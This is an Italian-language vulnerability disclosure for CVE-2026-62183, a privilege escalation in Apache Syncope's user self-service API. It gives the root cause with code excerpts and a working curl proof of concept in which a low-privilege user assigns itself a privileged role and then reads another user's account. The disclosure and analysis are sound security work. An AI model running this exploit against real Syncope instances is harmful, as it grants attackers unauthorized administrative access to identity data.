CVE-2026-62183 — Escalation dei privilegi nel self-service utente di Apache Syncope

Gestione impropria dei privilegi (CWE-269) in Apache Syncope. Un utente autenticato con privilegi minimi può assegnarsi arbitrariamente ruoli (e appartenenze a gruppi, risorse esterne e un nuovo realm) tramite l'API di self-service utente — operazioni che su ogni altro percorso di codice richiedono entitlement amministrativi — e diventare così amministratore dello store di identità.

Questo repository è il riferimento tecnico per la vulnerabilità: causa principale, proof of concept confermato a runtime e note di riproduzione. Un resoconto narrativo di come è stata trovata vive separatamente (vedi Write-up).

In breve


CVE	CVE-2026-62183
Vendor / prodotto	Apache Software Foundation — Apache Syncope
Pacchetto interessato	`org.apache.syncope.core:syncope-core-workflow-java`
Classe	CWE-269 Gestione impropria dei privilegi (meccanismo: CWE-862 Autorizzazione mancante)
Gravità	Importante (ASF PMC) · CVSS 3.1 8.8 `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`
Versioni vulnerabili	3.0.0-M0 → 3.0.16 · 4.0.0-M0 → 4.0.6 · 4.1.0-M0 → 4.1.1
Corretta in	4.0.7 / 4.1.2 (SYNCOPE-1983) · 3.0.x è EOL, nessuna correzione
Confermata su	3.0.16 (distribuzione standalone, JDK 17), dominio `Master`

Sommario

L'endpoint di aggiornamento self-service utente di Apache Syncope, PATCH /users/self/{key}, richiede solo isAuthenticated(). Il livello di logica condiviso salta il controllo di autorizzazione per le operazioni "self", mentre il data binder applica comunque i campi di richiesta privilegiati (roles, memberships, resources, auxClasses, realm). Il risultato è una semplice escalation dei privilegi: un utente con privilegi minimi si auto-assegna un ruolo privilegiato e ottiene immediatamente i relativi entitlement — inclusa, con un ruolo sufficientemente potente, l'amministrazione completa di tutti gli utenti. Dove la self-registration è abilitata, la stessa falla si applica a doCreate, quindi un attaccante non autenticato può registrare un account già privilegiato.

Precondizioni

La vulnerabilità si applica quando è configurato uno dei seguenti adattatori di user workflow (è questo l'ambito indicato dall'advisory del vendor):

l'adattatore di user workflow tutto-Java, oppure
l'adattatore di user workflow Flowable con una definizione BPMN che non richiede l'approvazione amministrativa per self-registration / self-update.

In produzione, il self-service è normalmente guidato tramite la Enduser UI, che non espone l'assegnazione dei ruoli; per raggiungere questa falla è necessario che la Core REST API sia chiamabile dall'utente con privilegi minimi. Il PoC runtime qui sotto usa la Standalone Distribution, che Apache documenta come solo-valutativa e che include dati seed (l'utente bellini, i ruoli integrati User manager / User reviewer) — tali dati seed non sono presenti in un deployment generale. Questi sono vincoli onesti sullo sfruttabilità nel mondo reale, non sulla correttezza della falla.

Causa principale

Flusso della richiesta per PATCH /users/self/{key}:

UserSelfService.update(UserUR)            common/.../rest/api/service/UserSelfService.java   @PATCH @Path("users/self/{key}")
  → UserSelfLogic.update(...)             core/idrepo/logic/.../UserSelfLogic.java
    → AbstractUserLogic.doUpdate(..., self=true)
      → UserDataBinderImpl.update(...)     core/provisioning-java/.../data/UserDataBinderImpl.java

1. L'endpoint autorizza solo "qualcuno è connesso?" — UserSelfLogic.update:

@PreAuthorize("isAuthenticated() "
    + "and not(hasRole('" + IdRepoEntitlement.ANONYMOUS + "')) "
    + "and not(hasRole('" + IdRepoEntitlement.MUST_CHANGE_PASSWORD + "'))")
public ProvisioningResult<UserTO> update(final UserUR userUR, final boolean nullPriorityAsync) {
    ...
    ProvisioningResult<UserTO> updated = doUpdate(userUR, true, nullPriorityAsync);   // self = true

Nessun entitlement (niente USER_UPDATE, niente ambito ruolo/realm) è richiesto.

2. Il controllo di autorizzazione viene saltato per le operazioni self — AbstractUserLogic.doUpdate:

protected ProvisioningResult<UserTO> doUpdate(final UserUR userReq, final boolean self, ...) {
    ...
    if (!self) {                                   // self == true: l'intero blocco viene saltato
        Set<String> authRealms = RealmUtils.getEffective(
                AuthContextUtils.getAuthorizations().get(IdRepoEntitlement.USER_UPDATE), ...);
        userDAO.securityChecks(authRealms, before.getKey(), before.getRealm(), groups);
    }
    ...
}

3. Il binder applica comunque i campi privilegiati — UserDataBinderImpl.update(...) applica ADD/DELETE dei ruoli, memberships(...) (gruppi) e fill(...) (risorse / realm) direttamente dalla richiesta, senza alcun controllo sui privilegi del chiamante — quel controllo dovrebbe vivere nel livello di logica che il passaggio 2 salta. Il percorso admin (UserLogic.update, @PreAuthorize("hasRole('USER_UPDATE')"), doUpdate(..., false, ...)) esegue invece securityChecks; il percorso self no.

Il ruolo acquisito diventa effettivo all'autenticazione: AuthDataAccessor.getUserAuthorities(user) attraversa userDAO.findAllRoles(user) e unisce gli entitlement di ciascun ruolo, quindi il ruolo auto-assegnato è attivo alla successiva richiesta/login dell'utente. Lo stesso salto if (!self) è presente in doCreate, il che estende la falla alla self-registration.

In breve: due livelli presumevano ciascuno che fosse l'altro a imporre il controllo dei privilegi. L'endpoint delegava l'autorizzazione al livello di logica; il livello di logica la saltava per self; il binder si fidava del livello di logica per aver filtrato i campi.

Proof of concept

Un normale utente autenticato senza ruoli si auto-assegna il ruolo integrato privilegiato User manager (che concede USER_READ su /) e poi legge un account arbitrario. Nessuna azione amministrativa, nessuna configurazione speciale. Script completo: poc.sh.

B=http://localhost:9080/syncope/rest
H='-H X-Syncope-Domain:Master -H Accept:application/json -H Content-Type:application/json'

# (setup, admin) create a plain user with NO roles → returns entity.key = $K2
curl -s -u admin:password $H -X POST "$B/users" -d '{"_class":"org.apache.syncope.common.lib.request.UserCR",
 "realm":"/","username":"eviluser2","password":"Password123!","mustChangePassword":false,
 "plainAttrs":[{"schema":"fullname","values":["E2"]},{"schema":"surname","values":["Two"]},
 {"schema":"userId","values":["[email protected]"]}]}'

AUTH="-u eviluser2:Password123!"
# [1] baseline — eviluser2 cannot read another account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini"          # -> 403

# [2] THE BUG — eviluser2 self-assigns the existing privileged role "User manager":
curl -s $AUTH $H -X PATCH "$B/users/self/$K2" -d '{"_class":"org.apache.syncope.common.lib.request.UserUR",
 "key":"'"$K2"'","roles":[{"operation":"ADD_REPLACE","value":"User manager"}]}' \
 -w '%{http_code}\n'                                                          # -> 200 ; entity.roles=["User manager"]

# [3] escalated — eviluser2 now reads any account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini"          # -> 200

CVE-2026-62183